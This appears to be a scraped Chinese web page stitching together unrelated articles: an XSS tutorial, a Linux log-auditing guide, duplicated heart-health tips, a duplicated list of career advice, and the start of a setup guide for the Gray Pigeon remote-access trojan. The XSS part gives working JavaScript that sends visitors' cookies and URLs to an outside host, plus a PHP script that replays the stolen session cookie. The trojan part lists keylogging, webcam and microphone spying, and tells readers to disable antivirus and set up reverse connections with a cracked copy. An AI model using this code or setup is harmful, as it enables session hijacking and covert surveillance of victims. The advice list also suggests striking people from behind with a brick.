XSS正向攻击实现原理

XSS正向攻击实现原理:
访客访问被XSS的页面——》XSS JS将客户端COOKIE+访客浏览器上的URL+访客IP发送到处理端--》处理端接收到以上信息后,将封包发送到攻击端

示例说明:
如果http://www.vul.kr/index.php 源文件中存在JS代码如下:
//—————————-XSS页面————————
function getURL(s) {
var image = new Image();
image.style.width = 0;
image.style.height = 0;
image.src = s;
}
getURL(“http://www.xx.com/test.php?url=”+encodeURIComponent(location.href)+”&cookie=”+encodeURIComponent(document.cookie));

当访问者访问 http://www.vul.kr/index.php 时,以上JS会将访客当前的网址和COOKIE一并发到 www.xx.com/test.php文件进行处理

//——————–test.php处理端————————–
<?
error_reporting(0);
set_time_limit(0);

$url=$_GET['url'];
$cookie=”NULL”;
$addr=”NULL”;
$str=”";
$C=”";
if(strlen($_GET['cookie'])>2)$cookie=$_GET['cookie'];
if(strlen($_SERVER['REMOTE_ADDR'])>2)$addr=$_SERVER['REMOTE_ADDR'];

$url=str_replace(chr(92),chr(47),$url);
$hv=substr($url,7,strlen($url));
$dv=strpos($hv,”/”);
$host=substr($hv,0,$dv);
$myurl=substr($hv,$dv,strlen($url));
if(strpos($host,”:”)>0){
$hostport=explode(“:”,$host);
$myhost=$hostport[0];
$myport=$hostport[1];}
else {$myhost=$host;$myport=80;}

$str = f_socket($myhost,$myurl,$host,$myport,$cookie);
$str=$str;
$str=”\r\n\r\nURL:”.$url.”\r\nCookie:”.$cookie.”\r\nAddress:”.$addr.”\r\n\r\n\r\n”.$str;
$C = “<center><textarea name=’textarea’ cols=150 rows=30>$str</textarea>”;
fwrite(fopen(“thisisdata.htm”,”a+”),$C);

function f_socket($website,$url,$allurl,$port,$ck){
$service_port = $port;
$address = gethostbyname($website);
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (false == ($socket_result = socket_connect($socket, $address, $service_port)))
{exit;}

$in = “GET ” . $url . ” HTTP/1.1\r\n”;
$in .= “Host: ” . $allurl . “\r\n”;
$in .= “Connection: close \r\n”;
$in .= “Cookie: “.$ck.” \r\n\r\n”;
socket_write($socket, $in, strlen($in));

$start_time = time();
$str = “”;
do
{
if (false === ($out = socket_read($socket, 8192))){
$str = “”;
break; }
if (time() – $start_time > 1){
$str = “”;
break;}
$str .= $out;
} while ($out != “”);

socket_close($socket);
return htmlentities($str);}
?>

//———————————处理端完毕——————————–

处理端将所得信息组合,通过HTTP封包发送出去,以获取用户当前页面的源代码。因发封了用户的SESSION COOKIE,很多简单的登陆判断都是可以突破的。如:
<%
if session(“admin”)=1 then
response.write “成功登陆”
else
response.end
end if
%>

透析Linux日志查入侵

日志对于网络安全来说无疑是非常重要的,它记录了系统每天发生的各种各样的事,你可以通过它来检查错误发生的原因,或者受到攻击后攻击者留下的痕迹。日志主要的功能有审计和监测,同时它也可以实时的监测系统状态,监测入侵者。
日志子系统分类
在Linux系统中,有三个主要的日志子系统:
连接时间日志——由多个程序执行,把纪录写入到/var/log/Wtmp和/var/run/Utmp,Login等程序更新Wtmp和Utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
进程统计——由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(Pacct或Acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。
错误日志——由Syslogd(8)执行。各种系统守护进程、用户程序和内核通过Syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。
常用的日志文件如下:
Access-log:纪录HTTP/WEB的传输。
Acct/pacct:纪录用户命令。
Aculog:纪录MODEM的活动。
Btmp:纪录失败的纪录。
Lastlog:纪录最近几次成功登录的事件和最后一次不成功的登录。
Messages:从Syslog中记录信息(有的链接到Syslog文件)。
Sudolog:纪录使用Sudo发出的命令。
Sulog:纪录“su”的使用。
Utmp:纪录当前登录的每个用户。
Wtmp:一个用户每次登录进入和退出时间的永久纪录。
Xferlog:纪录FTP会话。
日志记录基本过程
Utmp、Wtmp和Lastlog日志文件是多数重用UNIX日志子系统的关键——保持用户登录进入和退出的纪录。有关当前登录用户的信息记录在文件Utmp中;登录进入和退出纪录在文件Wtmp中;最后一次登录文件可以用“Lastlog”命令察看。数据交换、关机和重起也记录在Wtmp文件中。所有的纪录都包含时间戳。这些文件(Lastlog通常不大)在具有大量用户的系统中增长十分迅速。例如Wtmp文件可以无限增长,除非定期截取。许多系统以一天或者一周为单位把Wtmp配置成循环使用。它通常由Cron运行的脚本来修改。这些脚本重新命名并循环使用Wtmp文件。
小知识:通常Wtmp在第一天结束后命名为Wtmp.1;第二天后Wtmp.1变为Wtmp.2,直到Wtmp.7。
每次有一个用户登录时,Login程序在文件Lastlog中察看用户的UID。如果找到了,则把用户上次登录、退出时间和主机名写到标准输出中,然后Login程序在Lastlog中纪录新的登录时间。在新的Lastlog纪录写入后,Utmp文件打开并插入用户的Utmp纪录。该纪录一直用到用户登录退出时删除。Utmp文件被各种命令文件使用,包括Who、Users和Finger。下一步,Login程序打开文件Wtmp附加用户的Utmp纪录。当用户登录退出时,具有更新时间戳的同一Utmp纪录附加到文件中。Wtmp文件被程序Last和AC使用。
查看具体日志
Wtmp和Utmp文件都是二进制文件,它们不能被诸如Tail命令剪贴或合并(需要使用Cat命令),用户需要使用Who、W、Users、Last和AC来使用这两个文件包含的信息。
1.Who:该命令查询Utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机。例如输入Who回车后显示:
chyang pts/0 Aug 18 15:06
ynguo pts/2 Aug 18 15:32
ynguo pts/3 Aug 18 13:55
lewis pts/4 Aug 18 13:35
ynguo pts/7 Aug 18 14:12
ylou pts/8 Aug 18 14:15
如果指明了Wtmp文件名,则Who命令查询所有以前的纪录。命令“Who /var/log/Wtmp”将报告从Wtmp文件创建或删改以来的每一次登录。
2.W:该命令查询Utmp文件并显示当前系统中每个用户和它所运行的进程信息。
3.Users:Users用单独的一行显示出当前登录的用户,每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话,那他的用户名将显示相同的次数。例如输入Users回车后显示:
chyang lewis lewis ylou ynguo ynguo
4.Last:Last命令往回搜索Wtmp,显示从文件第一次创建以来登录过的用户。例如:
chyang pts/9 202.38.68.242 Tue Aug 1 08:34 – 11:23 (02:49)
cfan pts/6 202.38.64.224 Tue Aug 1 08:33 – 08:48 (00:14)
chyang pts/4 202.38.68.242 Tue Aug 1 08:32 – 12:13 (03:40)
lewis pts/3 202.38.64.233 Tue Aug 1 08:06 – 11:09 (03:03)
lewis pts/2 202.38.64.233 Tue Aug 1 07:56 – 11:09 (03:12)
如果指明了用户,那么Last只报告该用户的近期活动,例如:last ynguo显示:
ynguo pts/4 simba.nic.ustc.e Fri Aug 4 16:50 – 08:20 (15:30)
ynguo pts/4 simba.nic.ustc.e Thu Aug 3 23:55 – 04:40 (04:44)
ynguo pts/11 simba.nic.ustc.e Thu Aug 3 20:45 – 22:02 (01:16)
ynguo pts/0 simba.nic.ustc.e Thu Aug 3 03:17 – 05:42 (02:25)
5.AC:AC命令根据当前的/var/log/Wtmp文件中的登录进入和退出来报告用户连结的时间(小时),如果不使用标志,则报告总的时间。例如:ac,显示:
total 5177.47
ac -d(回车)显示每天的总的连结时间:
Aug 12 total 261.87
Aug 13 total 351.39
Aug 14 total 396.09
Aug 15 total 462.63
Aug 16 total 270.45
ac -p(回车)显示每个用户的总的连接时间:
ynguo 193.23
yucao 3.35
rong 133.40
hdai 10.52 6.Lastlog:Lastlog文件在每次有用户登录时被查询。可以使用Lastlog命令来检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/Lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。例如:
rong 5 202.38.64.187 Fri
Aug 18 15:57:01 +0800 2000
dbb
**Never logged in**
xinchen
**Never logged in**
pb9511
**Never logged in**
小知识:如果一个用户从未登录过,Lastlog显示”**Never logged**。注意这个命令需要以ROOT权限运行。
另外,可在命令后加一些参数实现其它的功能,例如“last -u 102”将报告UID为102的用户,“last -t 7”表示限制上一周的报告。
进程审查
UNIX可以跟踪每个用户运行的每条命令,如果想知道昨晚别人弄乱了哪些重要的文件,进程统计子系统可以告诉你,这一点无疑对跟踪入侵者很有帮助。与连接时间日志不同,进程统计子系统缺省不激活,它必须启动。在Linux系统中启动进程统计使用Accton命令,必须用ROOT身份来运行。先使用Touch命令来创建Pacct文件:
touch /var/log/pact
然后运行Accton:
Accton /var/log/pact
一旦Accton被激活,就可以使用Lastcomm命令监测系统中任何时候执行的命令。若要关闭统计,可以使用不带任何参数的Accton命令。
小知识:Lastcomm命令报告以前执行的文件。不带参数时,Lastcomm命令显示当前统计文件生命周期内纪录的所有命令的有关信息。包括命令名、用户、TTY、命令耗费的CPU时间和一个时间戳。如果系统有许多用户,输入则可能很长。
进程统计存在的一个问题是Pacct文件可能增长的十分迅速。这时需要交互式或经过Cron机制运行SA命令来保持日志数据在系统控制内。
小知识:SA命令报告、清理并维护进程统计文件。它能把/var/log/pacct中的信息压缩到摘要文件/var/log/savacct和/var/log/usracct中。这些摘要包含按命令名和用户名分类的系统统计数据。SA缺省情况下先读它们,然后读Pacct文件,使报告能包含所有的可用信息。SA的输出有下面一些标记项:
Avio——每次执行的平均I/O操作次数
Cp——用户和系统时间总和,以分钟计
Cpu——和cp一样
K——内核使用的平均CPU时间,以1k为单位
K*sec——CPU存储完整性,以1k-core秒
Syslog设备
Syslog已被许多日志函数采纳,它用在许多保护措施中。Syslog可以纪录系统事件并写到一个文件或设备中,或给用户发送一个信息。它能纪录本地事件或通过网络纪录另一个主
机上的事件。
Syslog设备依据两个重要的文件:/etc/Syslogd(守护进程)和/etc/Syslog.conf配置文件,习惯上,多数Syslog信息被写到/var/adm或/var/log目录下的信息文件(messages.*)中。一个典型的Syslog纪录包括生成程序的名字和一个文本信息。它还包括一个设备和一个优先级范围,每个Syslog消息被赋予下面的主要设备之一:
LOG_AUTH——认证系统:Login、SU、Getty等。
LOG_CRON——Cron守护进程。
LOG_DAEMON——其它系统守护进程,如Routed。
LOG_FTP——文件传输协议:Ftpd、Tftpd。
LOG_KERN——内核产生的消息。
LOG_MAIL——电子邮件系统。
LOG_SYSLOG——由Syslogd(8)产生的内部消息。
LOG_LOCAL0~LOG_LOCAL7——本地使用保留。
Syslog为每个事件赋予几个不同的优先级:
LOG_EMERG——紧急情况。
LOG_ALERT——应该被立即改正的问题,如系统数据库破坏。
LOG_CRIT——重要情况,如硬盘错误。
LOG_ERR——错误。
LOG_WARNING——警告信息。
LOG_NOTICE——不是错误情况,但是可能需要处理。
LOG_INFO——情报信息。
Syslog.conf文件指明Syslogd程序纪录日志的行为,该程序在启动时查询配置文件。该文件由不同程序或消息分类的单个条目组成,每个占一行。对每类消息提供一个选择域和一个动作域。这些域由Tab隔开:选择域指明消息的类型和优先级;动作域指明Syslogd接收到一个与选择标准相匹配的消息时所执行的动作。每个选项是由设备和优先级组成。当指明一个优先级时,Syslogd将纪录一个拥有相同或更高优先级的消息。所以如果指明“crit”,那所有标为Crit、Alert和Emerg的消息将被纪录。每行的行动域指明当选择域选择了一个给定消息后应该把他发送到哪儿。例如,如果想把所有邮件消息纪录到一个文件中,如下:

#Log all the mail messages in one place mail.* /var/log/maillog

其它设备也有自己的日志,UUCP和News设备能产生许多外部消息。它把这些消息存到自己的日志(/var/log/spooler)中并把级别限为“err”或更高。例如:

# Save mail and news errors of level err and higher in aspecial file.uucp,news.crit /var/log/spooler

当一个紧急消息到来时,可能想让所有的用户都得到。也可能想让自己的日志接收并保存:

#Everybody gets emergency messages, plus log them on anther machine *.emerg * *.emerg @linuxaid.com.cn

Alert消息应该写到ROOT和Tiger的个人账号中:

#ROOT and Tiger get alert and higher messages *.alert ROOT,tiger

小提示:有时Syslogd将产生大量的消息,例如内核(Kern设备)可能很冗长,用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了:

#Log all kernel messages to the console

#Logging much else clutters up the screen

#kern.* /dev/console

用户可以在一行中指明所有的设备。下面的例子把Info或更高级别的消息送到/var/log/messages,除了Mail以外。级别“none”禁止一个设备:

#Log anything(except mail)of level info or higher

#Don&apos;t log private authentication messages!

*.infmail.none;authpriv.none /var/log/messages

在有些情况下可以把日志送到打印机,这样网络入侵者怎么修改日志都没有用了。

小提示:有个小命令Logger为Syslog(3)系统日志文件提供一个Shell命令接口,使用户能创建日志文件中的条目。例如:logger This is a test。它将产生一个如下的Syslog纪录:

Aug 19 22:22:34 tiger: This is a test!

所以不要完全相信日志,因为攻击者很容易修改它的。

通过上面对Linux的日志了解,我们就可以更好的实时监测系统状态,监测和追踪侵入者的行踪了!

7种方法增强你的心脏功能

专家们的建议是:
一、参加力所能及的体育锻炼。调查表明,平时不爱运动者,其心脏要早衰10─15年,冠心病的发病率要高出1─3.5倍。而训练有素的运动员,心跳缓慢而有力。但运动量不宜过大,一般以运动心跳次数比平时快50%为宜。
二、避免情绪激动。人的情绪过分激动,如暴怒、大喜、哀伤等,都会引起血管收缩,血压升高,心跳加快,从而增加心脏负担。故要做到心平气和,学会宽容,坦然对待一切。
三、控制好饮食。肥胖会招致高血压和动脉硬化,暴饮暴食可诱发心绞痛和心肌梗塞,有些猝死病人,往往是饱进晚餐之故。因此要讲究饮食有节,提倡吃七、八成饱,同时要少吃各种动物脂肪,多吃新鲜蔬菜和水果。
四、饮食宜清淡。食盐过多能使血压上升,使血液粘度提高而增加心脏负担。因此,正常**每日进盐宜在6~8克,对心脏功能不全的人,进食盐则不宜超3~5克。
五、增加镁元素的摄入。镁元素能阻止胆固醇的合成,抑制神经的兴奋性,维护心肌纤维正常舒缩功能和冠状动脉弹性。人体缺镁,可导致心动过速,心律不齐及明显的心肌坏死和钙化,故镁元素有”心脏保护神”的美称。
六、适当吃肉。每周吃红色肉类(如猪肉、牛肉、羊肉等)不得超过2到3次,吃动物内脏(肝、心等)不超过一次。另外,最好每周食两次海产品,因为海产品不仅含有丰富的钙和钾,能降低血压,而且含有大大减少产生血凝块危险的物质。
七、规律生活,避免劳累。人体过度劳累不仅有损健康,而且会加重心脏负担。

7种方法增强你的心脏功能
专家们的建议是:   一、参加力所能及的体育锻炼。调查表明,平时不爱运动者,其心脏要早衰10─15年,冠心病的发病率要高出1─3.5倍。而训练有素的运动员,心跳缓慢而有力。但运动量不宜过大,一般以运动心跳次数比平时快50%为宜。
二、避免情绪激动。人的情绪过分激动,如暴怒、大喜、哀伤等,都会引起血管收缩,血压升高,心跳加快,从而增加心脏负担。故要做到心平气和,学会宽容,坦然对待一切。
三、控制好饮食。肥胖会招致高血压和动脉硬化,暴饮暴食可诱发心绞痛和心肌梗塞,有些猝死病人,往往是饱进晚餐之故。因此要讲究饮食有节,提倡吃七、八成饱,同时要少吃各种动物脂肪,多吃新鲜蔬菜和水果。
四、饮食宜清淡。食盐过多能使血压上升,使血液粘度提高而增加心脏负担。因此,正常**每日进盐宜在6~8克,对心脏功能不全的人,进食盐则不宜超3~5克。
五、增加镁元素的摄入。镁元素能阻止胆固醇的合成,抑制神经的兴奋性,维护心肌纤维正常舒缩功能和冠状动脉弹性。人体缺镁,可导致心动过速,心律不齐及明显的心肌坏死和钙化,故镁元素有”心脏保护神”的美称。
六、适当吃肉。每周吃红色肉类(如猪肉、牛肉、羊肉等)不得超过2到3次,吃动物内脏(肝、心等)不超过一次。另外,最好每周食两次海产品,因为海产品不仅含有丰富的钙和钾,能降低血压,而且含有大大减少产生血凝块危险的物质。
七、规律生活,避免劳累。人体过度劳累不仅有损健康,而且会加重心脏负担。

世界500强企业中国的CEO们对 80后 90后的忠告!

1、如果,我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径!
2、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。
3、成功者就是胆识加魄力,曾经在火车上听人谈起过温州人的成功,说了这么三个字,“胆子大”。这其实,就是胆识,而拿得起,放得下,就是魄力。
4、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的是他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。
5、这个社会,是快鱼吃慢鱼,而不是慢鱼吃快鱼。
6、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。
7、如果你问周围朋友词语,如果十个人,九个人说不知道,那么,这是一个机遇,如果十个人,就个人都知道了,就是一个行业。
8、任何一个行业,一个市场,都是先来的有肉吃,后来的汤都没的喝。
9、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。
10、趁着年轻,多出去走走看看。读万卷书,不如行万里路,行万里路,不如阅人无数。
11、与人交往的时候,多听少说。这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。
12、日常工作之外应当多注意自身修养的提高及自身技能的培训。随着计算机技术的广泛应用,为了不被社会所淘汰,就必须加强计算机技术的培训与提高。无论是企业培训还是个人培训都是不可或缺的,我个人推荐一个很好的培训机构:中科院计算所培训中心。
13、不要装大,对于装大的人,最好的办法就是,捡块砖头,悄悄跟上去,一下子从背后放倒他。
16、买衣服的时候,要自己去挑,不要让家人给你买,虽然你第一第二次买的都不怎么样,可是,你会慢慢有眼光的。
17、要想进步,就只有吸取教训,成功的经验都是歪曲的,成功了,想怎么说都可以,失败者没有发言权,可是,你可以通过他的事例反思,总结。教训,不仅要从自己身上吸取,还要从别人身上吸取。
18、学习,学习,再学习,有事没事,去书店看看书,关于管理,金融,营销,人际交往,未来趋势等这些,你能获得很多。这个社会竞争太激烈了,你不学习,就会被淘汰。中国2008底,有一百多万大学生找不到工作。竞争这么激烈,所以,一定要认识一点,大学毕业了,不是学习结束了,而是学习刚刚开始。还有,我个人推荐一个很好的视频节目,《谁来一起午餐》。
19、如果你不是歌手,不是画家,也不是玩行为艺术的,那么,请在平时注意你的衣着。现在这个社会,衣着能表现出你属于哪一个群体,哪一个圈子。
20、记住,平均每天看电视超过三个小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上。同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。
21、因为穷人很多,并且穷人没有钱,所以,他们才会在网络上聊天抱怨,消磨时间。你有见过哪个企业老总或主管经理有事没事经常在**群里闲聊的?
22、无论你以后是不是从事销售部门,都看一下关于营销的书籍。因为,生活中,你处处都是在向别人推销展示你自己。
23、平时的时候,多和你的朋友沟通交流一下,不要等到需要朋友的帮助时,才想到要和他们联系,到了社会,你才会知道,能够认识一个真正的朋友,有多难?
24、如果你想知道自己将来的年收入如何。找你最经常来往的六个朋友,把他们的年收入加起来,除以六,就差不多是你的了。这个例子,可以充分的说明一点,物以类聚。
26、记得,要做最后出牌的人,出让别人觉得出其不意的牌,在他们以为你要输掉的时候,这样,你才能赢得牌局。
27、关于爱情,有这么一句话,没有面包,怎么跳舞?无论什么时候,你决定去好好爱一个人的时候,一定要考虑给她你能给予的最好的物质生活。
28、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的。这样,你才能找到自己的目标和方向。
29、无论什么时候,记住尊严这两个字,做人是要有尊严,有原则,有底线的。否则,没有人会尊重你。
30、不要听信身边人的话,大一不谈恋爱,好的女孩子就被别人都挑走了。想想,刚上大一就耐不住寂寞,受不住诱惑,而去谈恋爱的女孩子,值得自己去追吗?大学里,可以有一场爱情,可是,不要固执地认为,刚上大一,就必须要谈恋爱。

世界500强企业中国的CEO们对 80后 90后的忠告!
1、如果,我只能送你一句忠告,那就是,这个世界上没有免费的午餐,永远不要走捷径!2、一个年轻人,如果三年的时间里,没有任何想法,他这一生,就基本这个样子,没有多大改变了。3、成功者就是胆识加魄力,曾经在火车上听人谈起过温州人的成功,说了这么三个字,“胆子大”。这其实,就是胆识,而拿得起,放得下,就是魄力。4、这个世界,有这么一小撮的人,打开报纸,是他们的消息,打开电视,是他们的消息,街头巷尾,议论的是他们的消息,仿佛世界是为他们准备的,他们能够呼风唤雨,无所不能。你的目标,应该是努力成为这一小撮人。5、这个社会,是快鱼吃慢鱼,而不是慢鱼吃快鱼。6、这个社会,是赢家通吃,输者一无所有,社会,永远都是只以成败论英雄。7、如果你问周围朋友词语,如果十个人,九个人说不知道,那么,这是一个机遇,如果十个人,就个人都知道了,就是一个行业。8、任何一个行业,一个市场,都是先来的有肉吃,后来的汤都没的喝。9、这个世界上,一流的人才,可以把三流项目做成二流或更好,但是,三流人才,会把一流项目,做的还不如三流。10、趁着年轻,多出去走走看看。读万卷书,不如行万里路,行万里路,不如阅人无数。11、与人交往的时候,多听少说。这就是,上帝为什么给我们一个嘴巴两个耳朵的原因。12、日常工作之外应当多注意自身修养的提高及自身技能的培训。随着计算机技术的广泛应用,为了不被社会所淘汰,就必须加强计算机技术的培训与提高。无论是企业培训还是个人培训都是不可或缺的,我个人推荐一个很好的培训机构:中科院计算所培训中心。13、不要装大,对于装大的人,最好的办法就是,捡块砖头,悄悄跟上去,一下子从背后放倒他。16、买衣服的时候,要自己去挑,不要让家人给你买,虽然你第一第二次买的都不怎么样,可是,你会慢慢有眼光的。17、要想进步,就只有吸取教训,成功的经验都是歪曲的,成功了,想怎么说都可以,失败者没有发言权,可是,你可以通过他的事例反思,总结。教训,不仅要从自己身上吸取,还要从别人身上吸取。18、学习,学习,再学习,有事没事,去书店看看书,关于管理,金融,营销,人际交往,未来趋势等这些,你能获得很多。这个社会竞争太激烈了,你不学习,就会被淘汰。中国2008底,有一百多万大学生找不到工作。竞争这么激烈,所以,一定要认识一点,大学毕业了,不是学习结束了,而是学习刚刚开始。还有,我个人推荐一个很好的视频节目,《谁来一起午餐》。19、如果你不是歌手,不是画家,也不是玩行为艺术的,那么,请在平时注意你的衣着。现在这个社会,衣着能表现出你属于哪一个群体,哪一个圈子。20、记住,平均每天看电视超过三个小时以上的,一定都是那些月收入不超过两千元的,如果你想要月收入超过两千,请不要把时间浪费在电视上。同样的道理,那些平均每天玩网络游戏或聊天超过三个小时以上的,也都是那些月收入不超过两千的。21、因为穷人很多,并且穷人没有钱,所以,他们才会在网络上聊天抱怨,消磨时间。你有见过哪个企业老总或主管经理有事没事经常在**群里闲聊的?22、无论你以后是不是从事销售部门,都看一下关于营销的书籍。因为,生活中,你处处都是在向别人推销展示你自己。23、平时的时候,多和你的朋友沟通交流一下,不要等到需要朋友的帮助时,才想到要和他们联系,到了社会,你才会知道,能够认识一个真正的朋友,有多难?24、如果你想知道自己将来的年收入如何。找你最经常来往的六个朋友,把他们的年收入加起来,除以六,就差不多是你的了。这个例子,可以充分的说明一点,物以类聚。26、记得,要做最后出牌的人,出让别人觉得出其不意的牌,在他们以为你要输掉的时候,这样,你才能赢得牌局。27、关于爱情,有这么一句话,没有面包,怎么跳舞?无论什么时候,你决定去好好爱一个人的时候,一定要考虑给她你能给予的最好的物质生活。28、给自己定一个五年的目标,然后,把它分解成一年一年,半年半年的,三个月的,一个月的。这样,你才能找到自己的目标和方向。29、无论什么时候,记住尊严这两个字,做人是要有尊严,有原则,有底线的。否则,没有人会尊重你。30、不要听信身边人的话,大一不谈恋爱,好的女孩子就被别人都挑走了。想想,刚上大一就耐不住寂寞,受不住诱惑,而去谈恋爱的女孩子,值得自己去追吗?大学里,可以有一场爱情,可是,不要固执地认为,刚上大一,就必须要谈恋爱。

灰鸽子入侵原理,灰鸽子运行过程,怎么查杀灰鸽子(一)

灰鸽子第一章:软件相关介绍:
灰鸽子 [VIP 专业版]
1.只用一个端口来传输所有通讯数据!普通同类软件都用到了两个或两个以
上的端口来完成!
2.支持可以控制Internet连接共享、HTTP透明代理上网的电脑!软件智能读
取系统设定的代理服务器信息,无需用户设置!
3.无需知道服务端IP,自动上线功能让服务端自动上线报道!灰鸽子专用的
上线系统无需您注册免费域名才能使用,同时也提供了备用上线方式,在我们的专
用上线系统出现故障时,您可以使用备用上线方式来使用自动上线功能。在使用
专用上线系统时,你还可以控制远程电脑通过Socks5代理来中转自动上线。
4.自动上线可以在第一次设置分组,自定义上线图像,上线备注等,这样都
可以让你轻而易举的找到目标主机,同时设置连接密码保证了服务主机的安全性
!同时具用牵手版的搜索符合条件主机的功能:
a.从主机窗口筛选:可以列出只有某个窗口的一批主机,可以轻松找到哪些人
在玩某个游戏!
b.从主机进程筛选:可以列出运行了某个程序的一批主机,例如QQ.exe,就可
以找到打开了QQ的自动上线主机有哪些了!
5.文件管理:管理远程电脑的文件系统,支持复制、粘贴、删除,断点下载、
上传文件或文件夹,文件内容均以加密方式传输,确保通讯的安全性.
6.远程控制命令:包括远程系统信息、剪切板信息、进程管理、窗口管理、
键盘记录、服务管理、管理管理、MS-DOS模拟、代理服务控制!
7.注册表编辑器:可以像操作本机注册表一样的编辑远程注册表。
8.常用命令广播,让你控制主机众多主机更多的方便!详细的在线主机线表
显示了:主机IP地址,地址位置,电脑名称,系统版本,备注等信息,
9.除了具有语音监听、语音发送,还有远程视频监控功能,只有远程计算机
有摄像头,且正常打开没有被占用,那么你可以看到,远程摄像头捕获的图片!还
可以把远程摄像头捕获的画面存为Mpeg-1格式.远程语音也可以录制成Wav声音文
件。
10.可以设置服务端开放Socks5代理服务器功能和HTTP代理服务功能!无需第
三方软件支持!支持Windows9x/ME/2000/Xp/2003。
11.软件附带有四款实用工具:
a. EXE工具 : 可以修改任何EXE文件图标,支持真彩色!
b. 内网端口映射器 : 它允许你将局域网内的服务映射到internet上,使
你在局域网内部也能使用自动上线功能!
c. FTP服务器 : 可以开本机FTP服务!
d. Web服务器 : 可以建立一个简单的Web服务器!
12.服务端程序在 Windows 2000 / xp / 2003 可以以服务启动,支持发送多
种组合键,比如:Ctrl+Alt+del等等,适用于管理服务器主机!远程屏幕捕获还可以
录制为Mpeg-1文件格式.
13.全中文友好操作界面,让你一目了然,漂亮皮肤让使用时也倍感亲切!
功能简单介绍:
【1】对远程计算机文件管理:模枋 Windows 资源管理器,可以对文件进行复制
、粘贴、删除,重命名、远程运行等,可以上传下载文件或文件夹,操作简单易用
【2】远程控制命令:查看远程系统信息、剪切板查看、进程管理、服务管理、共
享管理!
【3】捕获屏幕:不但可以连继的捕获远程电脑屏幕,还能把本地的鼠标及键盘传
动作送到远程实现实时控制功能!
【4】视频语音,可以监控远程摄像头,还有语音监听和发送功能,可以和远程主
机进行语音对话!
【5】telnet(超级终端).
【6】注册表模拟器:远程注册表操作就像操作本地注册表一样方便!
【7】命令广播:可以对自动上线主机进行命令广播,如关机、重启、打开网页,
筛选符合条件的机等,点一个按钮就可以让N台机器同时关机或进行其它操作!
【8】服务端以服务方式启动,支持发送多种组合键,可以轻松管理远程服务器!
【9】专用的自动上线系统,直接使用灰鸽子注册ID即可实现远程服务端自动上线
【10】多种自动上线方式:专用上线、DNS解析域名、固定IP等,用户自由选择!
注册灰鸽子软件后享有:
⒈享用软件的所有功能,没有任何限制!
⒉能使用对应的灰鸽子注册版本,能得到此版后期修正的正式版本!
⒊可以使用我们的专用上线系统,无需其它域名和空间支持!
⒋得到我们更好的技术服务!
注:[VIP版] 包括 VIP2005、Version 1.2、Version 2.0 !
[企业版]用户只能使用企业版!不能使用其它版本!
5.加入会员后,会自动加入官方论坛。享受官方技术支持
灰鸽子第二章:好马配好鞍,服务端正确配置。
灰鸽子是一款要交钱的软件,也就是说,你使用VIP版的话是要交给作者每年几十
块钱的使用费(不作任何评论)
因此网上也就有很多高手破解灰鸽子,让灰鸽子可以不用到灰鸽子的官方网站进
行验证,从而可以不用交钱就可以使用,
相关版本有:影子鹰破解专用版,爱儿破解版,以及华夏黑客联盟的灰鸽子
sunray破解版。
今天我们就用”灰鸽子sunray破解版”来向大家详细解析这款木马的服务端配置方
式,只可实验,不可做坏事,大家不喜欢请跳过这一章。
第一节:未雨绸缪,实验准备。
第一,关闭杀毒软件,这点不用我说了吧~~~因为是木马,下载了之后如
果杀毒软件监控开着的话肯定会被删除的。
第二,当然是下载灰鸽子的软件啦~~~上网找,有很多~~~
第三,申请一个免费的主页空间,为什么要呢?因为灰鸽子是可以反弹
式链接的,也就是说,服务端通过登陆你的主页的特定文件就可以主动连接到你
的电脑让你控制了。(这一点,等一下会详细解说)
第二节:实战开始。
把我们刚才下来的文件解压到某个文件夹,记住,不要改文件夹的名字,后面会
用到。
解压的文件里面有以下几个文件:
H_Client.exe 这个是客户端的主要文件,可以配置文件,生成服务端,可以远
程控制客户端。
http.exe 这个是本地http服务器,因为我们的灰鸽子是破解版的,通常正式版
的灰鸽子会到官方的服务器上去验证你的软件是否正版,所以这个软件就是用来
在本机子上建一个服务器,骗过软件的,从而达到破解的目的。
sunray.exe 这个里面其实也就只是一个host,它把http://www.huigezi.com这
个网站的域名本地解析到本机,而不是解析到官方网站。
vip_2005_0113.rar 这个是验证的软件,当我们的软件解析到本机的时候它就会
下载这一个到客户端,用来验证用的。
其它的文件还有config2005.asp,Operate.ini 还有四个文件夹,他们分别是
(dat images login sound)我也不知道什么用的。应该是配置用的。
第一步:在你的电脑上新建一个ip.txt的文本文件,内容如下:
http://huigezi212.126.131.43:8000end
其中212.126.131.43这个是我的电脑IP地址,8000是连接的端口,你可以把它写
成你自己的IP地址,端口一般不要去改动,然后把这个文件上传到你刚才申请的
空间,如果你的电脑是动态IP的话,那你就要经常更新这个文件的内容,然后上传
到空间,它的目的是客户端上线的话就会去这个网站读取这个文件,然后主动和
你取得连接。
第二步,首先运行 sunray.exe,然后运行 http.exe 点开始服务!
第三步,运行客户端,也就是H_Client.exe这个文件,
点击“自动上线”选项,有几个要点要说的,
1)“备用自动上线,URL转向域名或网页文件,这里呢,填写你刚才申
请到的网站空间地址和ip.txt,比如http://你的网站地址/ip.txt
